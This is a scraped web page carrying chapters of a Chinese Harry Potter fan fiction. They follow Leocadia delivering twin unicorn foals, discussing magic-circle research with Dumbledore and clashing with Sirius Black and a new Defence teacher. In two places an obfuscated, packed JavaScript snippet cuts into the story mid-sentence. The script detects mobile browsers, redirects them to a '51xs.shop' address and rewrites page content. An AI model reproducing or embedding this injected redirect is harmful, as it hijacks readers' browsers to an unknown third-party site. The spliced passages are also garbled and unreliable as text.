潘多拉的这件原本是试作品,性能只能算一般,但也比市面上卖的隐形斗篷质量好很多。 莱奥卡蒂亚在征求斯内普和莉莉意见后原本想直接送给潘多拉,但潘多拉不同意,不仅付了斯内普的材料费和莉莉的纺织费,还表示愿意跟莱奥卡蒂亚在接下来的七年里互帮互助,一起在炼金世界里遨游。 他们走进禁林,莱奥卡蒂亚打头阵,斯内普殿后。 他们没用荧光闪烁,而是一人拿着一颗会发光的水晶。 沿着海格开辟的小道,走出去差不多五十米,莱奥卡蒂亚往旁边的灌木丛里看了看,这里有一条森林居民们自己的路。 “这是卢妮告诉我的,”莱奥卡蒂亚解释,“这里通往她的家。” “卢妮?”莉莉恍然大悟,“你是来带我们看独角兽的?” “独角兽!”潘多拉眼睛都亮了,“真的吗?!” “当然。而是不只是卢妮,实际上,是独角兽幼崽。”莱奥卡蒂亚得意地笑起来。 “卢妮要生了?”斯内普在队尾说,“难怪你问我补血剂能不能给独角兽用。” 莱奥卡蒂亚耸肩:“只是以防万一。” 她们穿过长长的灌木丛小径,月光始终温柔地撒在她们头顶。 小径的尽头,是一片水草丰美的草地。 几头独角兽或坐或立,围着一匹焦虑转圈的雌性独角兽。 莱奥卡蒂亚让其他人停在原地,解下一只耳钉,揭开一点斗篷,缓缓靠近独角兽群。 一头高大健壮的雄性独角兽闻到了不属于森林的气味,喷着热气看过来。 “嗨,吕西安,是我,”莱奥卡蒂亚竖起掌心,让他能闻到自己的味道,“卢妮还好吗?” 情况不对,按理说这会儿应该生了啊? 几头独角兽围过来,嗅着她的气味。 卢妮也慢慢走过来,委屈地哀鸣。 “你怀了双胞胎?!”莱奥卡蒂亚惊呼,“天啊,你还是第一次怀孕!不行,你需要经验丰富的人帮忙!” 吕西安——这个小家族的首领和卢妮的丈夫打着响鼻,表示拒绝。 卢妮蹭蹭她的脸,后腿不耐烦地把吕西安踹开。 “实际上,我带了朋友来帮忙。”莱奥卡蒂亚示意吕西安和卢妮看向她来时的路,“莉莉和西弗,还有你们没见过的潘多拉。” 吕西安当然不同意,但卢妮和他交流两句,准爸爸就暴躁地转过身,不再管卢妮的决定。 莱奥卡蒂亚松了口气:“谢谢你信任我,卢妮。” 她招手:“你们快过来!再生不出来卢妮可就危险了!” 斯内普第一个冲过来:“一瓶补血剂可能不够,你带坩埚和材料了吗?” “带了,我带了够做六瓶补血剂的材料,活力滋补剂你应该也会做,哦还有白鲜!莉莉你帮西弗一起!”莱奥卡蒂亚从挎包里抽出三副龙皮手套后,把挎包解下来递给斯内普,“来,卢妮,别动,别怕,给我摸摸你的肚子。” 莱奥卡蒂亚轻轻抚摸着卢妮的侧腹:“如果是双胞胎,肯定有一头小独角兽是反着的。可是我没学过怎么帮……奇蹄目的大型动物顺产,我只学过剖腹产!” “你怎么什么都学?”潘多拉用了一个强力的荧光闪烁,照着卢妮的肚子,果然有一头小独角兽头朝里。 “因为我养马。”莱奥卡蒂亚仔细观察着两头小独角兽,忽然松了口气,“还好,没有仰卧位,不用正位。” 莱奥卡蒂亚先把准备好的一瓶补血剂喂给卢妮,亲亲她的脸,“放心吧卢妮,你不会有事的。” 潘多拉突然小声叫起来:“水!好多水!” “羊水破了!”莱奥卡蒂亚冲回后面,“潘多拉,保持照明!先让头朝外的小独角兽出来!” 莱奥卡蒂亚挥挥魔杖,两条透明的绳子拴在小独角兽的蹄子上,另一端被莱奥卡蒂亚控制着,缓缓往外移动。 卢妮再次哀鸣,吕西安和其他独角兽急匆匆地围上来,却又不敢打扰莱奥卡蒂亚的动作。 幸好斯内普和莉莉那边进展顺利,莉莉小心地给卢妮喂了一瓶精力滋补剂。 卢妮的精神一下子好起来,用力努责。 莱奥卡蒂亚满头大汗:“卢妮,用力,用力……好!出来了!” 一头湿漉漉的小独角兽掉出来,金色的鬃毛乱糟糟地贴在身上。 吕西安凑过来,轻轻舔走它身上的羊水。 小独角兽颤颤巍巍地站起来,又啪叽一下倒在潘多拉的腿上,四肢在空气中乱刨。 潘多拉的理智都快被撞走了,两眼直愣愣地盯着靠在她腿上的小独角兽。 长舒一口气,莱奥卡蒂亚拍拍吕西安:“一边去,你还有个孩子没出来呢。” 头朝里,莱奥卡蒂亚还真没动手实践过怎么处理这种情况。但在卢妮的羊水流干之前,这头小独角兽必须降生。 她深吸一口气,全神贯注。 她也不知道如果贸然给小独角兽用缩小咒会有什么后果,独角兽们也没有这样的经验,想来想去,还是得用麻瓜的办法。 她再次变出绳子,绑住小独角兽的后腿,空着的手在空中画下代表祝福顺利生产的组合魔文,才慢慢往外拉。 她见过牧场的工人给难产的母牛接生,五六个彪形大汉一起上阵,用了一个小时才在兽医的指导下把小牛犊扯出来。 她的力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518894|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气显然没有成年男性的大,但现在去叫海格也不现实。 移动咒,增强力气的组合如尼文,要不是莱奥卡蒂亚真的没把握,她说不定真的要给卢妮做剖腹产了。 好在半个小时后,这头小独角兽也掉了出来。 卢妮喘着粗气转头,温柔舔舐着两个孩子。 独角兽们围上来,为新生儿的诞生献上祝福。 莱奥卡蒂亚一屁股坐在地上:“累死了,这比我做研究还累!” 后出生的小独角兽甩甩脑袋,细伶伶的腿倒很是有力,蹬了她爸一脚,跟哥哥一起晃晃悠悠地凑近莱奥卡蒂亚,似乎在判断这个救了她一条命的两脚兽是不是个好兽。 显然,莱奥卡蒂亚符合独角兽的审美和标准。 兄妹俩一起投怀送抱,莱奥卡蒂亚搂着这甜蜜的负担们,任由他们用小舌头给她洗脸,还有空招呼小伙伴们过来撸幼崽。 “它们可真小!”莉莉本就甜美的声音又软和了几分,“看,它们连睫毛都是金色的!” 潘多拉已经是被独角兽靠过腿的人了,但刚刚她不敢随便摸幼崽,这会儿放肆地用脸颊贴着细细软软的绒毛磨蹭,只觉得自己好像还没睡醒。 只有斯内普格格不入。 因为理论上来说,独角兽只青睐内心纯净的女性。 斯内普自觉这两个要求他都沾不上边。 但莱奥卡蒂亚在这儿,她肯定不能让斯内普落空。 “来,西弗,过来。” 她坐在那,朝斯内普招手,斯内普僵硬了一会儿,还是缓缓走过去。 两头小独角兽闻到浓浓的草药味,警觉地抬起头,莱奥卡蒂亚倒是知道它们不怎么排斥斯内普的靠近,只是不喜欢药味。 “孩子们,他可是救了你们呢,让他摸一下,好不好?”莱奥卡蒂亚轻声诱·哄,“就摸一下下,我会让他轻轻地,好不好?” 兄妹俩对视着呦呦几声,重新和莱奥卡蒂亚贴贴。 “好了,可以摸了。”莱奥卡蒂亚把哥哥的脑袋拨向斯内普。 斯内普吞咽一下,蹲下来,轻轻抚摸幼崽柔软的鬃毛。 短短的独角并不锋利,蹭在手上有一点点痒。 这痒直达心底。 “好了,你们得跟着爸爸妈妈回去了,”莱奥卡蒂亚用不容抗拒的力道把两只幼崽推开,“卢妮,吕西安,教教他们别随便靠近人类。” 卢妮甩甩鬃毛,吕西安把孩子们赶到母亲的身边,回首看看莱奥卡蒂亚,叫了一声。 “名字?等他们满月再取吧。”莱奥卡蒂亚拉着小伙伴们站起来。 吕西安仰天长鸣,卢妮最后一次蹭蹭她的脸,这个小聚落带着两头新生的幼崽,回到禁林深处。 潘多拉抓紧莱奥卡蒂亚的袖子:“我感觉我腿还是软的……我们真的不是在做梦吗?” “显然不是,齐瑟小姐,”莱奥卡蒂亚故作严肃,郑重宣布,“以后这样的机会还多着呢,夜游今后会成为我们的固定项目。” 莉莉回过神,问她:“你是不是又跟西弗背着我来禁林了?” 莱奥卡蒂亚和斯内普平静对视一眼,同时披上斗篷:“想看月兰花吗?我知道哪里有一大片月兰花。” “真好,新鲜采摘的月兰花可以入药。”斯内普接上她的话头。 莉莉轻踹他们的后脚跟,挽着潘多拉冷哼。 39.邀请 西里斯像僵尸一样跳出来,挡住莱奥卡蒂亚的去路。 另一头僵尸是詹姆,他挡住莉莉。 “嗨,恶魔女(Dievilette),你的鼻涕精跟班呢?”* 西里斯双手插兜,不怀好意地凑近莱奥卡蒂亚:“还是他终于选择放弃他的主子,效忠新主子了?” 莱奥卡蒂亚没什么表情的掀起眼皮看他一眼:“让开。” 语气未免有点冲,莱奥卡蒂亚尽量温和了一点儿:“或者我打断你的腿。” “Woohoo,我好怕怕哦。”西里斯抖抖肩膀,“詹姆,她说她要打断我的腿。伊万斯,你就不管管她?” 莉莉往莱奥卡蒂亚前面跨一步:“抱歉布莱克先生,我倒是认为波特先生该管管你。” 詹姆一脸心碎的模样:“哦,伊万斯,你怎能说这么冷冰冰的话?” 莱奥卡蒂亚轻啧,拉着莉莉就往旁边走。 “话还没说完呢?你走什么?”西里斯再次拦住她们,“你们急匆匆地去哪?这个方向……是医疗翼?鼻涕精还是那个神经兮兮的齐瑟?告诉我嘛,告诉我,让我高兴一下。” 莱奥卡蒂亚懒得废话:“动动你的脑子,布莱克,这个方向不只有医疗翼。” “那就是校长办公室?”西里斯有些失望,但又打起精神来,“你们去找邓布利多?怎么,你终于想回你的德姆斯特朗去了?” “我不清楚你为什么总是针对我,布莱克先生。”莱奥卡蒂亚当然不会告诉他自己要去哪里。 西里斯捧腹大笑:“你竟然说你不知道为什么我们针对你?哈哈哈哈哈!针对你还需要理由吗?你等着,总有一天我会把你的小秘密一个个扒出来,让你灰溜溜地滚出霍格沃茨!” 莱奥卡蒂亚用看白痴的眼神看他。 炼金术师花了几百年都没炼出神圣的万能金,原来是全被你挖走了,还是坨大神金。 “随你便吧,布莱克先生。”莱奥卡蒂亚敷衍地点头,手一掐、一抓、一甩,西里斯和詹姆就一脸懵逼地趴在地上了。 莉莉赶紧跟着莱奥卡蒂亚小跑着离开案发现场:“这是什么技巧?” “Chinese Kongfu?”莱奥卡蒂亚回忆,“祖父教我的,我也只会这一招。你回去的路上小心点,我去找邓布利多啦。” “BEYBEY!”莉莉朝她飞吻,然后向胖夫人的画像跑去。 莱奥卡蒂亚来到校长室前,说出最近用的口令:“覆盆子香草冰激凌。” 噫,都给我说饿了。 莱奥卡蒂亚吸溜着口水,爬过一层又一层螺旋向上的楼梯。 推开门,邓布利多正在办公桌后写着什么。 “阿不思,你找我?” 莱奥卡蒂亚毫不见外地坐在他对面,逗了逗打瞌睡的福克斯:“你是怎么想到让菲尼亚斯传话的呀?我在楼梯的画像上看到他的时候还吓了一大跳呢。” 菲尼亚斯·布莱克也没比她早回来几分钟,闻言幽怨地瞪着邓布利多:“还不是他说让福克斯或者守护神给你送信太显眼了。” “下次你可以让霍格沃茨的家养小精灵,那个叫波波的,给我送口信。”莱奥卡蒂亚打开桌上的糖果罐翻翻找找,“没有柠檬雪宝了?我不想吃冰耗子和蟑螂堆……啊!巧克力太妃糖!这个可以!” 邓布利多慈爱地笑着:“医疗翼的诺特女士说,你最近要了几瓶健齿魔药?是长智齿了吗?” 莱奥卡蒂亚含着糖纠结地摇头:“不是。只是牙痒痒,也可能是我在长身体,饿得快,都开始嚼空气了。不过海格做的岩皮饼很有用,没事我就用它们磨牙。” 邓布利多肃然起敬:“海格的岩皮饼?好吧,你得记住千万别用力咬。” “我会的。”她有些好奇,“所以你找我做什么?是你的魔法阵研究有新进展了吗?给我看看!” “我确实有新发现,但这个不急,我这里有给你的一封信。”邓布利多从一摞信中抽出一个漂亮的淡蓝色信封推给她,“当然,我只是跟尼可交流了一下你的新发现,至于他在这封给你的信里说了什么,我是不知道的。” 莱奥卡蒂亚吹着口哨拆开信封:“你要是不放心可以一起看,我又不介意……哦,尼可邀请我去他家过圣诞节,还让我一放假就直接去他家。太好了,我本来还想去莉莉或者西弗家蹭饭呢。这还是我第一次去尼可家里欸!” 以往他们都是书信联系的,节庆礼物也都是让安布拉送过去。 但佩雷纳尔的甜点手艺绝赞,不愧是活了六百多年的老人家! 邓布利多并没有问她为什么不回家过节,只是故作思考状:“但我似乎看见了你的留校申请?” “你现在可以当没看见。”莱奥卡蒂亚把信收好,决定回寝室再写回信,“快说说你的新发现,我跟你说,我可是有了了不起的进展!等等,不叫上弗利维教授吗?我们可以交换情报!” “菲利乌斯今天的课程安排得很满,看起来只有晚上有时间。不过他把手稿交给我了,我们可以先看他的手稿。”邓布利多取出一摞羊皮纸。 ‘弗利维教授真敬业,每天那么多课还能在一个月里写这么一摞羊皮纸,’莱奥卡蒂亚腹诽,‘再看写季度报表那群蠢货,连进货单都能写错,啧,他们应该学会羞愧。’ 莱奥卡蒂亚换了位置,坐到邓布利多身边,趴在书桌上认真看弗利维的手稿。 弗利维的思维偏向传统魔咒学。 他把常用的魔咒分类成实用型魔咒、攻击型魔咒、防御型魔咒、黑魔法魔咒、黑魔法防御型魔咒、以及其他魔咒。 其下又列举了好几页他试验过、可以用基础魔法阵表现的咒语,大多在效果呈现时都与四元素有关。 还贴心地附赠他完成的魔法阵图,在旁边还标注了他的新发现。 【……只要在羊皮纸上输入魔力,这些小阵法就能运转。但同时也受到材质限制,以下几个魔法阵不能在羊皮纸上运转!!!(加粗,下划线)】 莱奥卡蒂亚掏出笔记本,心中感谢院长的馈赠,手上唰唰唰用复制成双。 抄作业就是爽啊! 邓布利多慢悠悠地翻页,等着她全部复制完,才拿出自己才写了一个开头的手稿。 “我在思考一个假设,能不能把变形术和魔法阵结合起来。比如大范围施展硬化咒,或者一瞬间把一群人变成糖果罐。” “变形术?”莱奥卡蒂亚搓搓羽毛笔,“这倒是个新方向。但魔咒与变形学不同,魔咒会更改或增加物体的属性,它注重于让物体‘做什么’而非让物体‘是什么’,变形术……它会改变物体性质。这个方向目前只能靠你自己研究,阿不思。” 开玩笑,谁不知道这老头是当代变形术第一人? 我是搞魔咒和炼金阵的,不是搞变形学的! 虽然麦格教授说我在变形术上很有天赋,但这不代表我能现在就做到跨物种变形和人体变形! 邓布利多稍显遗憾:“我还以为你会对阿尼马格斯感兴趣呢。” 合并课题也不是不可以嘛。 “我才一年级,阿不思,这种事等我三年级再考虑。”莱奥卡蒂亚毫不客气地回绝,然后拿出自己的新研究。 “我发现如果不固定效果,魔法阵的时效就会因使用者构造魔法阵时使用的魔力而变化,这跟炼金阵是一个道理。”莱奥卡蒂亚哗哗翻着笔记本,“而且我摘下耳钉试了一下,它们……是代表使用者感情的,就像你的猜想一样。” “情绪能让巫师们更好地调动魔力,你的理论是正确的,阿不思。”莱奥卡蒂亚竖起一根手指,“如果饱含负面情绪,哪怕是一个小小的清水如泉魔法阵也能取走对方的性命。” “我猜,这就是一般防护咒语无法抵挡阿瓦达索命咒的原因。” 邓布利多靠在椅背上,悠长地叹气。 “是啊,是啊,你分析得很对……汤姆,他有野心,才华横溢,但永远学不会爱。他想用恐惧和死亡来统治巫师们,但他不知道,爱才是最伟大的魔法。” 莱奥卡蒂亚淡定地翻过一页:“没跟你说这个,我只是在跟你讨论魔法阵。” 什么“爱”啊“恨”啊,都是对炼金术无用的东西! 邓布利多摇头晃脑:“好吧,我跑题了,你总得原谅一个老人家不合时宜的回忆过去。” “当然,我宽恕你。别打岔。我暂时把魔法阵的构成迭代了几个版本,然后按照功效分成了这四种:元素类、组合类,分解类、符号类。” 莱奥卡蒂亚滔滔不绝地讲起自己的设计来,“元素类,顾名思义,增强魔咒的元素属性;组合类,将不同种类的魔咒组合在一起;分解类,直接攻击对方魔法阵的反阵,相当于魔咒的反咒;符号类,用单一或者几种古代魔文替换现代魔咒。但我个人感觉古代魔文和现代魔咒是可以兼容的。” “比如用如尼文替代……” 邓布利多静静听着,莱奥卡蒂亚的身影逐渐与记忆中另一个人的身影重合。 那个人同样热爱钻研魔法,同样敢于提出新思路,同样拥有伟大的理想和抱负。 邓布利多曾一度追着那道身影奔跑,直到两人形同陌路,势同水火。 “……当然,这种分类方法只是我的……阿不思?” 莱奥卡蒂亚的脸突然挣脱了虚影的笼罩。 啊,是了。 莱奥卡蒂亚永远不会成为他。 毕竟他不会像她一样,用“你怎么又走神了?是不是老年痴呆了?事先声明我可没有在关心你,我只是怕你突然噶了我就成了第一嫌疑人”这么直白的眼神看着阿不思·邓布利多。 “等等,你是在拿我代餐?!”莱奥卡蒂亚暴起,揪他胡子,“住脑啊你这诡计多端的老头!再说一遍我跟那谁一点儿都不像!” ……更不会这样揪他胡子。 邓布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13539071|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利多理不直气也壮:“我们都得承认,在孩子的成长过程中总是离不开长辈的影响。而且我有说什么吗?一切只是你的猜测而已,莱奥。” “住口啊无耻老贼!就算不用摄魂取念我也知道你在想什么!这样的眼神我见过几千次!”莱奥卡蒂亚暴怒,“而且我哪里像凤梨头了?!我明明只像祖父!” 邓布利多咂摸一下凤梨头这个外号,觉得异常贴切,记下来,下次给盖勒特写信的时候写下来和他分享:“莱奥,我所认识的那个莱昂纳多也是非常老奸巨猾的人物,就我了解的部分而言,他比盖勒特还厉害几分。” 莱奥卡蒂亚熄火了。 因为她认为这是一句夸奖。 祖父就是最厉害的,比凤梨头厉害无数倍! “哼,原谅你了,我再讲一次。”莱奥卡蒂亚吭哧吭哧地警告,“这次你再走神我就不跟你玩了,下次再有新发现我就第一个找弗利维教授!” 邓布利多表示自己有被威胁到,态度端正的请莱奥教授继续讲课。 这么一深入讲解,再加上莱奥卡蒂亚的灵光乍现和邓布利多极具启发和建设性的补充,不免从中午说到晚上。 莱奥卡蒂亚写得手都酸了。 “我一直以为占星学是一门神秘又深奥,简称有点用但也没多有用的科目,”莱奥卡蒂亚甩甩手腕,“但我没想到可以在魔法阵里加上代表日月星辰的纹路,这样算是借助天体磁场来增强能量。” “好吧,麻瓜的说法。不过在很早以前,巫师们认为,我们和大部分神奇生物一样,是自然和血脉的选择。但实际上我们的力量来自于的魔力是来自星移斗转、自然万物之中的。” 邓布利多缓缓地给她讲授一些不会在课本中提到的知识。 “例如金星,东方称之为启明星,苏美尔神话称它为伊什塔尔,在希腊神话中是爱与美的女神维纳斯;但在玛雅的金星历法中,它时东时西,捉摸不定,既隐喻死亡,又代表重生;它是阿兹克特人的神,魁札尔科亚特尔,能使死亡的人借着从死亡国度里偷来的骨架复活,再借助这位神灵的血肉重生。” 莱奥卡蒂亚趴在桌子上:“我们一起研究的‘守护之盾’里就借助了金星的守护力量。” “是啊,没错。”邓布利多轻轻抚摸莱奥卡蒂亚的发顶,“但重点不在这里。” 莱奥卡蒂亚愣了一会儿,仿佛正在重新规划大脑里储存的知识。 “你是说……‘神’?那些神话传说是真的?” “我以为你知道你自己也是神话传说的一部分,小女巫。”邓布利多失笑。 “那不一样,阿不思!你不要偷换概念!”莱奥卡蒂亚气呼呼地拍开他的手,“讨厌啦,我中午才洗的头,你摸油了我又得洗。不对,你是说神是真的存在的?” 邓布利多神色自然的耸肩:“根据我的研究,是的,没错,神是存在的。而且巫师们的神奇力量就来自神奇的血脉。当然,不一定是神,也可能是神奇生物。” 莱奥卡蒂亚几乎要被这个消息咂昏过去。 啊??? 你们魔法界是不存在物种隔离的吗??? 达尔文!!!你快看啊!!! “但是,对于我们的能力来自于哪,这要取决于你自己的认知与选择,莱奥。麻瓜在遇见无法用科学解释的事物时,总会把它们归结于神秘。这份神秘来自于未知,来自于麻瓜对未知的恐惧与信仰。你是选择一个具体成人形的‘神’,还是选择凝聚出‘未知’的自然万物?” 莱奥卡蒂亚沉默几秒:“我宁肯相信明天卢妮就能开口说话或者打人柳成精,也不想给自己找个信仰。我只信仰我自己,祖父常说‘人定胜天’,我也是这么觉得的。” “真是不出乎我的意料的回答,”邓布利多奖励了她一颗滋滋蜂蜜糖,“我看到麻瓜们说,世界变小了,但其实世界永远那么大,只是我们的生存空间变小了。”* 莱奥卡蒂亚把糖块用舌头抵在脸颊子肉上:“是说麻瓜,还是巫师?” “两者皆有。”邓布利多再次摸上莱奥卡蒂亚的头发,这次她没抗拒,“我已经是个老人了,即使看见了一些东西,也无力去深入探索。但你不一样,莱奥,你还有漫长到令我羡慕的人生,我期待你能找到一条路。” “我会的,阿不思,你也会看到那么一天的。”莱奥卡蒂亚轻声嘀咕,“所以快把你的研究手稿都交出来,我要站在巨人的肩膀上眺望未来。老头子就该早点退休去种花养鱼!” “好好好,都给你留着。”邓布利多看看时间,“这会儿去礼堂肯定连面包渣都没有了。我们去厨房里,让小精灵们做点好吃的,好不好?” 莱奥卡蒂亚立刻满血复活,把桌面上又写了十几页的笔记本收起来:“快快快!走走走!” 跟在邓布利多身后吃饭等于甜食不限量,可以正大光明地吃两个冰淇淋球。 用一个词形容,就是狐假虎威! 40.刁难 莉莉有些担忧。 莱奥卡蒂亚最近神出鬼没,简直把有求必应屋和图书馆当成了家,经常一个不留神,人就没影了。 作为“四元素”里的另一个拉文克劳,潘多拉没觉得这有什么不对的。 “这很正常,莉莉,我们是拉文克劳。而且不只是霍格沃茨的图书馆,莱奥她已经把拉文克劳藏书室的书看了八分之一了。”潘多拉明显也受到了莱奥卡蒂亚的影响,连在礼堂吃饭都抱着一本十英寸的大部头,“啊,在这里,原来莱奥最近在研究这个结构?真复杂。” 莉莉凑过去看了一眼,尝试理解,但不太能懂。 “这个阵盘来源于占星术,搭配仪式可以用来增幅火象星座的共鸣。如果搭配炼金术来用,我想它可以用来增强炼金制品的耐火性。”潘多拉耸肩,“她应该是在做什么新的炼金制品。我要开始攒钱了,我必须第一个拥有。” 莱奥卡蒂亚推出的咖啡机投放到每个欧美魔法市场最繁华的商店里,上市两天就被抢空了,要不是他们仨可以内定,现在估计也是排队预定的一员。 莉莉紧张起来,赶紧计算自己的小金库,却悲伤发现自己竟然是学习小组里最穷的。 莱奥卡蒂亚不用说,莉莉敢说世界上没几个人比她富有; 斯内普继承了普林斯家的金库,早就脱离赤贫阶级,衣服看起来旧,实际上是因为新衣服总是被魔药和材料烫出洞,干脆穿旧衣服,烫坏了也不心疼; 潘多拉家里也是纯血,虽然不是二十八纯血家族的一员,但世代累积的财富也不算少,能轻松拿出百二十个金加隆。 反观莉莉,她虽然不缺零花钱,但伊万斯家也只是普通工薪阶层。而且总是有一些不带魔法却很好看的小东西小首饰,不管是给佩妮还是自己用都很不错。 莉莉郁卒地趴在桌子上:“呜,虽然莱奥会给友情价,但我的小金库也快不够用啦。” 潘多拉想了想:“我可以先借你,你慢慢还。”反正最近也没什么用钱的地方,圣诞礼物有额外的经费。 “潘迪~我爱死你了~”莉莉感动地抱着她的胳膊蹭来蹭去,“我……” “早上好伊万斯,你缺钱吗?我可以借你啊!不用还的那种!”背后探来一颗笑眯眯的脑袋,“只要你愿意跟我聊聊天就好,时间不多,每天十分钟就好!” 莉莉瞬间耷拉下脸:“我想不用了,波特先生。潘迪,带我去你们宿舍吧,我要把莱奥拉出来吹吹风。” 潘多拉看了一眼不甘心的詹姆,动作极快地收起书。 然后用了一个无声绊腿咒。 果然,詹姆腿一动就像追上来继续搭话,结果正面朝下,“嗷”的一声,结结实实地砸在地上,还不忘朝着她们的背影伸手:“伊万斯,你等等!” 在一旁看戏的西里斯慢悠悠走过来,给他解咒:“伊万斯明显不想搭理你,詹姆。” 詹姆悲愤地站起来,摸摸疼得要命的鼻子:“莱姆斯,你快看看我的鼻子是不是歪了?” 正在吃早饭的卢平转过来,打量两眼:“没有,就是眼镜裂了。” 还顺手给詹姆用了个修复一新。 “谢了兄弟,”詹姆垂头丧气地站起来,“唉,为什么伊万斯不肯跟我说说话呢?哪怕一句也好啊。” 卢平本来想安慰他一句,没想到西里斯挥挥手,示意他什么都别说。 果然,没过几秒,詹姆就满血复活了:“没关系!爸爸说追求妈妈的时候也不容易,波特家的男人绝不轻言放弃!” 西里斯耸肩:“瞧,坠入爱河的人就是这么不理智。” “你不懂,西里斯,因为你没碰到一见钟情的女孩儿,”詹姆搂住他的脖子,“等你遇见那个女孩儿,你说不定比我还不理智呢。” “不可能,绝对不可能。”西里斯对爱情嗤之以鼻,“行了,我想到一个好点子,听不听?” “什么好点子?能帮我追到伊万斯吗?” 西里斯恨铁不成钢地敲他一下,又把卢平和佩迪鲁拉过来:“听我说,我们……” # “这才开学两个月,黑魔法防御术课的老师就换人了?”莱奥卡蒂亚看着讲台上的新面孔,嘴唇微动。 潘多拉微微低着头:“据说是校董会的安排。” 莱奥卡蒂亚:“怎么可能?我就是校董……的孙女。” 也有可能是祖父没告诉她?毕竟不是批经费之类的事,教职工的人事调动似乎也是正常的,没有什么大问题。 但这位新老师的姓氏很有意思。 克劳奇。 神圣二十八纯血家族中的一员。 莱奥卡蒂亚拿出一支羽毛残缺不全的羽毛笔,在笔记本上写到:【认识茱莉亚·克劳奇吗?】 没几秒钟,笔尖写出骚包的花体字母:【啊哈,你问对人了,她的哥哥,巴蒂·克劳奇正在本司长五米外的地方演讲呢。怎么了?】 【她也离我只有几米远,黑魔法防御术课的新老师,】莱奥卡蒂亚瞥向讲台上沉着脸的金发女士,【她的母亲是否出自其他纯血家族?我觉得她的轮廓有一点眼熟。】 【你答对了,她母亲叫查莉丝·布莱克,她姐姐卡莉朵拉嫁给了查理·隆巴顿——也就是路易斯·隆巴顿的哥哥。二十八家族相互的姻亲关系真是乱七八糟的。不过我跟她上学的时候是同级,她是拉文克劳的,你学姐。】 【知道了,谢了。放假请你和斯宾塞吃饭。】 写完她就把羽毛笔放回了挎包。 “一个好消息,一个坏消息。”莱奥卡蒂亚拿起笔记本,装作翻笔记的样子,“这位克劳奇教授是我们的学姐,坏消息是,她是布莱克的亲戚。” 潘多拉读着那几行花体字:“又是布莱克。但既然是我们学院的学姐,应该不会太过于针对我们的。” “但愿如此。” 可惜,世界上有一个定律,叫墨菲定律。 这位克劳奇教授像只盯上猎物的豹子,一直在问莱奥卡蒂亚各种问题,从怎么对付一些常见的魔法生物,到三大不可饶恕咒,听到最后,哪怕是拉文克劳们也听得脸都白了。 莱奥卡蒂亚对于最后的问题原本只是浅浅说了几句,没想到克劳奇用一种轻蔑的口吻质疑她的知识储备。 “关于三大不可饶恕咒,你就知道这么一些鸡毛蒜皮的内容?”克劳奇弹弹花名册,“莱奥卡蒂亚·萨卢佐,我听弗利维教授说,你是个知识面相当广博的学生,可没想到……啧啧,也不过如此。” 潘多拉担忧地拉拉莱奥卡蒂亚的袖子。 莱奥卡蒂亚忍气吞声:“教授,我想这不该是……” “如果你回答不出来,那么我只能遗憾地给拉文克劳扣分了,再请……齐瑟小姐,”克劳奇随口说着,低下头看花名册,“你接着说。” 莱奥卡蒂亚高声打断:“克劳奇教授!我想我能说出您想听的内容。” “简单论述三大不可饶恕咒的历史和使用感,其中夺魂咒被认为……” 二十分钟后,莱奥卡蒂亚还在对答如流、滔滔不绝。 “……综上所述,索命咒其实源自三种语言,根据目前的研究,暂时没有绝对防御的方法,因为它的效果是一击必中。这是我的回答,克劳奇教授。” 莱奥卡蒂亚说完最后一段话,在心里默默补充:其实夺魂咒和钻心剜骨都可以用守护之盾挡下来。但是邓布利多不让我说。 一连串问题下来,克劳奇教授的表情已经相当缓和了。 她给莱奥卡蒂亚加了十分,然后开始今天的课。 不得不说,茱莉亚·克劳奇不愧出身自底蕴深厚的纯血家族,在校时又是拉文克劳的学生,每个案例都讲得相当精彩,既不会偏离课堂知识,又能让小鹰们瑟瑟发抖。 纵观全场,只有莱奥卡蒂亚和潘多拉面色如常,运笔如飞,仿佛这位教授只是在说今天晚餐的菜单,而她们只是菜单的誊抄工。 下课之后,克劳奇深深地看了莱奥卡蒂亚一眼,大步离开教室。 莱奥卡蒂亚收拾收拾桌面,拉着潘多拉就跑,完全顾不上身后一群小鹰们的各色眼神。 她几乎可以想象到自己的同学们会在私底下说什么了。 非纯血家族出身的一年级小巫师却对黑魔法了如指掌,特别是三大不可饶恕咒,这种限制级的咒语哪怕是高年级的拉文克劳也不会研究得这么透彻。 要不是拉文克劳的学生都不是多嘴的性格,她指不定明天就会在霍格沃茨礼堂进行一个食死徒预备役出道。 呜呼哀哉! 她明明只是个普通的心地善良纯洁美丽的富婆! 该死的布莱克,坏我名声! 等会儿还有节飞行课,下课的十五分钟内她要飞奔去变形术教室找斯内普,和他一起痛骂用心险恶的布莱克。 于是在变形术教室门口,怒气冲冲的金毛鹰抓走了一脸茫然的蛇,另一只鹰淡定地跟猫咪教授问好,随后也拍拍翅膀飞走了。 正巧一会儿斯内普没课,他在了解前因后果之后,就坐在飞行课的场地旁练习变形术,头顶是骑在扫帚上低空盘旋着骂人的莱奥卡蒂亚。 真的很难想象有人能用五六种语言和各种街头俚语骂人,还一骂就是二十分钟。 斯内普紧紧围巾,只觉得张嘴就有冷风灌进肚子里:“你都不冷的吗?” 莱奥卡蒂亚掏出小水壶喝了一口热水:“Nope,骂人使我热血沸腾。” “你就这么骂几句?不像是你的风格。”斯内普把火柴变成茶壶,又变成一只鼻烟壶,“你不对布莱克做点什么?还有那个新教授?” 